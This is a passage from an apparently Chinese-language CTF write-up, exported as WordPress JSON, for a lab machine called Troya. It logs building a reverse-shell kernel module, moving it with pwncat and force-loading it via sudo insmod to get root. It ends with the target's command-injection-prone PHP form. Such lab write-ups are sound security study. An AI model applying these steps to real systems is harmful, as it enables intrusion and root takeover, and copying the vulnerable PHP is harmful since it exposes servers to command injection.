Package linux-kbuild-4.19 is not installed.\n linux-headers-4.19.0-12-2-amd64 depends on linux-compiler-gcc-8-x86; however:\n  Package linux-compiler-gcc-8-x86 is not installed.\n\nSetting up linux-headers-4.19.0-12-2-amd64 (4.19.152-1) ...<\/code><\/pre>\n<p>\u7136\u540e\u7ee7\u7eed\uff01\uff01\uff01\uff01\uff01\u5f3a\u5236\u5b89\u88c5\u7684\u540e\u679c\u5c31\u662f\u5565\u4e5f\u6ca1\u89e3\u51b3\u3002\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-bash\">(remote) root@todd:\/tmp# ls -la \/lib\/modules\/\ntotal 20\ndrwxr-xr-x  5 root root 4096 Jun 27 13:42 .\ndrwxr-xr-x 55 root root 4096 Feb 19 11:04 ..\ndrwxr-xr-x  2 root root 4096 Jun 27 13:44 4.19.0-12-2-amd64\ndrwxr-xr-x  3 root root 4096 Nov 13  2020 4.19.0-12-amd64\ndrwxr-xr-x  3 root root 4096 Nov 13  2020 4.19.0-9-amd64\n(remote) root@todd:\/tmp# ls -la \/lib\/modules\/4.19.0-12-amd64\/build\nls: cannot access &#039;\/lib\/modules\/4.19.0-12-amd64\/build&#039;: No such file or directory\n(remote) root@todd:\/tmp# ls -la \/lib\/modules\/4.19.0-12-amd64\/\ntotal 4456\ndrwxr-xr-x  3 root root    4096 Nov 13  2020 .\ndrwxr-xr-x  5 root root    4096 Jun 27 13:42 ..\ndrwxr-xr-x 12 root root    4096 Nov 13  2020 kernel\n-rw-r--r--  1 root root 1130658 Nov 13  2020 modules.alias\n-rw-r--r--  1 root root 1077543 Nov 13  2020 modules.alias.bin\n-rw-r--r--  1 root root    4683 Oct 18  2020 modules.builtin\n-rw-r--r--  1 root root    5999 Nov 13  2020 modules.builtin.bin\n-rw-r--r--  1 root root  434780 Nov 13  2020 modules.dep\n-rw-r--r--  1 root root  592745 Nov 13  2020 modules.dep.bin\n-rw-r--r--  1 root root     456 Nov 13  2020 modules.devname\n-rw-r--r--  1 root root  140056 Oct 18  2020 modules.order\n-rw-r--r--  1 root root     800 Nov 13  2020 modules.softdep\n-rw-r--r--  1 root root  506751 Nov 13  2020 modules.symbols\n-rw-r--r--  1 root root  625597 Nov 13  2020 modules.symbols.bin<\/code><\/pre>\n<h4>\u5c1d\u8bd5\u76f8\u8fd1\u7248\u672c\u5185\u6838<\/h4>\n<p>\u8fd8\u662f\u6ca1\u6709\u76ee\u6807\u3002\u3002\u3002\u3002\u5c1d\u8bd5\u4e0d\u4e0b\u8f7d\u8fd9\u4e2a\u7248\u672c\u6362\u4e00\u4e2a\u76f8\u8fd1\u7684\u7248\u672c\u3002\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-bash\">apt install linux-headers-4.19.0-12-amd64\napt install linux-headers-4.19.0-13-amd64\napt install linux-headers-4.19.0-14-amd64\napt install linux-headers-4.19.0-15-amd64\napt install linux-headers-4.19.0-16-amd64\napt install linux-headers-4.19.0-17-amd64\napt install linux-headers-4.19.0-18-amd64\napt install linux-headers-4.19.0-19-amd64\napt install linux-headers-4.19.0-20-amd64<\/code><\/pre>\n<p>\u6700\u540e\u4e00\u4e2a\u53ef\u4ee5\uff0c\u518d\u4e0d\u884c\u6211\u8981\u5199\u4e2a\u811a\u672c\u7206\u7834\u4e86\u3002\u3002\u3002\u3002<\/p>\n<p>\u7136\u540e\u5b8c\u6574\u6b65\u9aa4\u5c31\u662f\u8fd9\u6837\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) root@todd:\/tmp# apt install linux-headers-4.19.0-20-amd64\nReading package lists... Done\nBuilding dependency tree       \nReading state information... Done\nThe following additional packages will be installed:\n  linux-compiler-gcc-8-x86 linux-headers-4.19.0-20-common linux-kbuild-4.19\nThe following NEW packages will be installed:\n  linux-compiler-gcc-8-x86 linux-headers-4.19.0-20-amd64 linux-headers-4.19.0-20-common linux-kbuild-4.19\n0 upgraded, 4 newly installed, 0 to remove and 135 not upgraded.\nNeed to get 11.3 MB of archives.\nAfter this operation, 58.9 MB of additional disk space will be used.\nDo you want to continue? [Y\/n] Y\nGet:1 https:\/\/mirrors.tuna.tsinghua.edu.cn\/debian-security buster\/updates\/main amd64 linux-compiler-gcc-8-x86 amd64 4.19.316-1 [707 kB]\nGet:2 https:\/\/mirrors.tuna.tsinghua.edu.cn\/debian buster\/main amd64 linux-headers-4.19.0-20-common all 4.19.235-1 [8,545 kB]\nGet:3 https:\/\/mirrors.tuna.tsinghua.edu.cn\/debian-security buster\/updates\/main amd64 linux-kbuild-4.19 amd64 4.19.316-1 [941 kB]\nGet:4 https:\/\/mirrors.tuna.tsinghua.edu.cn\/debian buster\/main amd64 linux-headers-4.19.0-20-amd64 amd64 4.19.235-1 [1,075 kB]\nFetched 11.3 MB in 1s (14.1 MB\/s)                    \nSelecting previously unselected package linux-compiler-gcc-8-x86.\n(Reading database ... 40348 files and directories currently installed.)\nPreparing to unpack ...\/linux-compiler-gcc-8-x86_4.19.316-1_amd64.deb ...\nUnpacking linux-compiler-gcc-8-x86 (4.19.316-1) ...\nSelecting previously unselected package linux-headers-4.19.0-20-common.\nPreparing to unpack ...\/linux-headers-4.19.0-20-common_4.19.235-1_all.deb ...\nUnpacking linux-headers-4.19.0-20-common (4.19.235-1) ...\nSelecting previously unselected package linux-kbuild-4.19.\nPreparing to unpack ...\/linux-kbuild-4.19_4.19.316-1_amd64.deb ...\nUnpacking linux-kbuild-4.19 (4.19.316-1) ...\nSelecting previously unselected package linux-headers-4.19.0-20-amd64.\nPreparing to unpack ...\/linux-headers-4.19.0-20-amd64_4.19.235-1_amd64.deb ...\nUnpacking linux-headers-4.19.0-20-amd64 (4.19.235-1) ...\nSetting up linux-compiler-gcc-8-x86 (4.19.316-1) ...\nSetting up linux-kbuild-4.19 (4.19.316-1) ...\nSetting up linux-headers-4.19.0-20-common (4.19.235-1) ...\nSetting up linux-headers-4.19.0-20-amd64 (4.19.235-1) ...\n(remote) root@todd:\/tmp# ls -la \/lib\/modules\/4.19.0-20-amd64\/build\nlrwxrwxrwx 1 root root 38 Mar 17  2022 \/lib\/modules\/4.19.0-20-amd64\/build -&gt; \/usr\/src\/linux-headers-4.19.0-20-amd64\n(remote) root@todd:\/tmp# vim reverse-shell.c\n(remote) root@todd:\/tmp# chmod +x *\n(remote) root@todd:\/tmp# vim Makefile\n(remote) root@todd:\/tmp# cat -A Makefile \nobj-m +=reverse-shell.o$\n$\nall:$\n^Imake -C \/lib\/modules\/$(shell uname -r)\/build M=$(PWD) modules$\n$\nclean:$\n^Imake -C \/lib\/modules\/$(shell uname -r)\/build M=$(PWD) clean$\n(remote) root@todd:\/tmp# sudo apt install make\nReading package lists... Done\nBuilding dependency tree       \nReading state information... Done\nSuggested packages:\n  make-doc\nThe following NEW packages will be installed:\n  make\n0 upgraded, 1 newly installed, 0 to remove and 135 not upgraded.\nNeed to get 341 kB of archives.\nAfter this operation, 1,327 kB of additional disk space will be used.\nGet:1 https:\/\/mirrors.tuna.tsinghua.edu.cn\/debian buster\/main amd64 make amd64 4.2.1-1.2 [341 kB]\nFetched 341 kB in 0s (1,017 kB\/s)\nSelecting previously unselected package make.\n(Reading database ... 57718 files and directories currently installed.)\nPreparing to unpack ...\/make_4.2.1-1.2_amd64.deb ...\nUnpacking make (4.2.1-1.2) ...\nSetting up make (4.2.1-1.2) ...\nProcessing triggers for man-db (2.8.5-2) ...\n(remote) root@todd:\/tmp# make\nmake -C \/lib\/modules\/4.19.0-12-amd64\/build M=\/tmp modules\nmake[1]: *** \/lib\/modules\/4.19.0-12-amd64\/build: No such file or directory.  Stop.\nmake: *** [Makefile:4: all] Error 2\n(remote) root@todd:\/tmp# vim Makefile\n(remote) root@todd:\/tmp# cat -A Makefile \nobj-m +=reverse-shell.o$\n$\nall:$\n^Imake -C \/lib\/modules\/4.19.0-20-amd64\/build M=$(PWD) modules$\nclean:$\n^Imake -C \/lib\/modules\/4.19.0-20-amd64\/build M=$(PWD) clean$\n(remote) root@todd:\/tmp# make\nmake -C \/lib\/modules\/4.19.0-20-amd64\/build M=\/tmp modules\nmake[1]: Entering directory &#039;\/usr\/src\/linux-headers-4.19.0-20-amd64&#039;\n  CC [M]  \/tmp\/reverse-shell.o\n  Building modules, stage 2.\n  MODPOST 1 modules\n  CC      \/tmp\/reverse-shell.mod.o\n  LD [M]  \/tmp\/reverse-shell.ko\nmake[1]: Leaving directory &#039;\/usr\/src\/linux-headers-4.19.0-20-amd64&#039;<\/code><\/pre>\n<p>\u6210\u4e86\uff01\uff01\uff01\uff01\u9053\u7237\u6211\u6210\u4e86\uff01\uff01\uff01\uff01\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\u554a\uff0c\u4e0b\u8f7d\u5230\u672c\u5730\uff0c\u731b\u653b\uff01\uff01\uff01\uff01\uff01\uff01<\/p>\n<pre><code class=\"language-bash\">(remote) root@todd:\/tmp# ls -la\ntotal 716\ndrwxrwxrwt 10 root root   4096 Jun 27 14:22 .\ndrwxr-xr-x 18 root root   4096 Nov 13  2020 ..\ndrwxrwxrwt  2 root root   4096 Jun 27 14:15 .font-unix\ndrwxrwxrwt  2 root root   4096 Jun 27 14:15 .ICE-unix\n-rw-r--r--  1 root root    157 Jun 27 14:22 Makefile\n-rw-r--r--  1 root root     29 Jun 27 14:22 modules.order\n-rw-r--r--  1 root root      0 Jun 27 14:22 Module.symvers\n-rwxr-xr-x  1 root root    712 Jun 27 14:20 reverse-shell.c\n-rw-r--r--  1 root root 279960 Jun 27 14:22 reverse-shell.ko\n-rw-r--r--  1 root root    237 Jun 27 14:22 .reverse-shell.ko.cmd\n-rw-r--r--  1 root root    883 Jun 27 14:22 reverse-shell.mod.c\n-rw-r--r--  1 root root 140280 Jun 27 14:22 reverse-shell.mod.o\n-rw-r--r--  1 root root  49174 Jun 27 14:22 .reverse-shell.mod.o.cmd\n-rw-r--r--  1 root root 141200 Jun 27 14:22 reverse-shell.o\n-rw-r--r--  1 root root  48846 Jun 27 14:22 .reverse-shell.o.cmd\ndrwx--x--x  3 root root   4096 Jun 27 14:15 systemd-private-981b29ebdea144e980609337611df08b-apache2.service-L6WvPd\ndrwx--x--x  3 root root   4096 Jun 27 14:15 systemd-private-981b29ebdea144e980609337611df08b-systemd-timesyncd.service-hJzwPy\ndrwxrwxrwt  2 root root   4096 Jun 27 14:15 .Test-unix\ndrwxr-xr-x  2 root root   4096 Jun 27 14:22 .tmp_versions\ndrwxrwxrwt  2 root root   4096 Jun 27 14:15 .X11-unix\ndrwxrwxrwt  2 root root   4096 Jun 27 14:15 .XIM-unix\n(remote) root@todd:\/tmp# \n(local) pwncat$ lpwd\n\/home\/kali\/temp\/Todd\n(local) pwncat$ lcd ..\/Troya\n(local) pwncat$ download reverse-shell.ko\nreverse-shell.ko \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501 100.0% \u2022 280.0\/280.0 KB \u2022 ? \u2022 0:00:00[14:24:45] downloaded 279.96KiB in 0.41 seconds<\/code><\/pre>\n<p>\u731b\u653b\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01\uff01<\/p>\n<pre><code class=\"language-bash\">(remote) helena@troya:\/tmp$ \n(local) pwncat$ upload reverse-shell.ko\n.\/reverse-shell.ko \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501 100.0% \u2022 280.0\/280.0 KB \u2022 ? \u2022 0:00:00[14:31:37] uploaded 279.96KiB in 0.31 seconds                                                                                                                                    upload.py:76\n(local) pwncat$                                                                                                                                                                              \n(remote) helena@troya:\/tmp$ chmod +x *\nchmod: changing permissions of &#039;systemd-private-bcd14e7627754f2cb355070e6a82b6ea-systemd-timesyncd.service-4SITWq&#039;: Operation not permitted\n(remote) helena@troya:\/tmp$ sudo \/usr\/sbin\/insmod reverse-shell.ko\ninsmod: ERROR: could not insert module reverse-shell.ko: Invalid module format<\/code><\/pre>\n<p>\u88e4\u5b50\u8131\u4e86\u4f60\u548c\u6211\u8bf4\u8fd9\u4e2a\uff01\uff01\uff01\u76f4\u63a5\u5f3a\u884c\u4e0b\u8f7d\u6a21\u7ec4\u4f7f\u7528<code>-f<\/code>\u53c2\u6570\uff01\uff01\uff01\uff01\uff01<\/p>\n<pre><code class=\"language-bash\">(remote) helena@troya:\/tmp$ sudo \/usr\/sbin\/insmod -f reverse-shell.ko<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237446.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237446.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250628023619097\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u62ff\u4e0brootshell\uff01\uff01\uff01\uff01\uff01<\/p>\n<h2>\u4e00\u4e9b\u4fe1\u606f<\/h2>\n<pre><code class=\"language-php\">(remote) www-data@troya:\/var\/www\/html$ cat index.php \n&lt;html&gt;\n&lt;body&gt;\n\n&lt;form method=&quot;post&quot; action=&quot;&lt;?php echo $_SERVER[&#039;PHP_SELF&#039;];?&gt;&quot;&gt;\n  Enter ip: &lt;input type=&quot;text&quot; name=&quot;command&quot;&gt;\n  &lt;input type=&quot;submit&quot;&gt;\n&lt;\/form&gt;\n\n&lt;?php\nif ($_SERVER[&quot;REQUEST_METHOD&quot;] == &quot;POST&quot;) {\n  $command = $_POST[&#039;command&#039;];\n$blacklistchars = &#039;&quot;%\\&#039;*iash;&lt;&gt;^`{}~\\\\#=&amp;&#039;;\nif (preg_match(&#039;\/[&#039; . $blacklistchars . &#039;]\/&#039;, $command)) {\necho (&quot;No valid character detected&quot;);\n  } else {\n    $cmd = &#039;host &#039;.$command;\n    $output = shell_exec($cmd);\n    echo &quot;&lt;pre&gt;$output&lt;\/pre&gt;&quot;;\n        }\n}\n?&gt;\n\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Troya \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Troya] \u2514\u2500$ rusts [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-925","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/925","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=925"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/925\/revisions"}],"predecessor-version":[{"id":926,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/925\/revisions\/926"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=925"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=925"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=925"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}